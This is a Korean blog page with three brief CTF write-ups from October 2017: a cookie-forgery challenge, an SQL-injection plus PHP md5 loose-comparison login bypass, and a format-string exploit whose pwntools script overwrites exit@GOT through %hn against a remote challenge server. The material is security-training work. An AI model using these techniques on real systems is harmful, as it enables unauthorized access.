블로그 이미지
Nehoy
경기대학교 / kknock

calendar

1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31

Notice

Tag

2017. 10. 13. 17:31 Hack/기타

EXTEND-ME.zip


flag를 흭득하기 위한 조건

1. username을 입력해야 함

2. cookie에 user와 data가 존재해야 함

3. '|'.join([key,username,user])를 SLHA1 해쉬화한 값과 cookie의 data를 base64 디코드한 값이 같아야 함


문제 설명

1. cookie에 user와 data가 존재할 때, data와 원하는 값이 같지 않으면 data에 원하는 값을 base64 인코딩해서 넣어준다

2. 끝



1. 쿠키 설정

user는 "admin"을 base64 인코딩해서 넣고, data는 임의의 값을 base64 인코딩해서 넣는다.


로그인을 하면 data가 프로그램이 원하는 값으로 변한다.


2. 풀이

그 상태로 로그인하면 플래그가 나타난다.


'Hack > 기타' 카테고리의 다른 글

[Power Of XX] opener  (0) 2017.10.26
[backdoorctf17] the-wall  (0) 2017.10.13
posted by Nehoy
2017. 10. 13. 17:11 Hack/기타

문제 특징.

1. SQL Injection

2. php md5 bug


1. Username 흭득

sql injection을 이용하여 권한이 admin인 유저 이름을 흭득한다.


2. Exploit

password를 md5로 해쉬화하고 ==를 이용하여 비교한다.

php md5 bug가 유력하기 때문에 md5 값이 0e462097431906509019562988736854 인 240610708을 password로 넣으면 flag가 나타난다.

'Hack > 기타' 카테고리의 다른 글

[Power Of XX] opener  (0) 2017.10.26
[backdoorctf17] extend_me  (0) 2017.10.13
posted by Nehoy
2017. 10. 13. 16:48 Hack/포너블

baby-0x41414141.tar.gz


문제 특징.

1. FSB

2. exit()로 끝나기 때문에 main의 RET 변조는 의미 없음

3. NX 존재

4. flag() 함수 존재




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#-*- coding: UTF-8 -*-
from pwn import *
 
# proc = process('./32_new')
proc = remote('163.172.176.29'9035)
 
payload = ''
payload += '%8x' * 9
payload += '%x' * 6
payload += '%x' * 3 + '%8x'
payload += '%x' * 4
payload += '%34277x' + '%x' * 5 + '%hn' + '1234'
payload += p32(0x0804a034)
 
pause()
 
# exploit
print(proc.recvuntil('name?\n'))
proc.sendline(payload)
 
print(proc.recv())
proc.interactive()
 
cs

1. exploit
exit@plt.got(0x0804a034)를 flag 함수의 주소(0x0804870b)로 바꿔주면 된다.
상위 2byte는 0x0804로 값이 같기 때문에 하위 2byte만 %hn으로 변경해주면 된다.

0x870b 라는 값을 넣기 위한 payload를 작성하고 exploit한다.


후기.

payload를 짜는게 힘들었다. pwntools에 FSB 툴이 있다고 알고 있는데 알아봐야겠다.

'Hack > 포너블' 카테고리의 다른 글

[Power Of XX] note  (0) 2017.10.26
[CSAW 2017] scv  (0) 2017.09.20
[포너블] level1  (7) 2017.03.11
[Codegate 2016] watermelon  (3) 2017.02.23
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
posted by Nehoy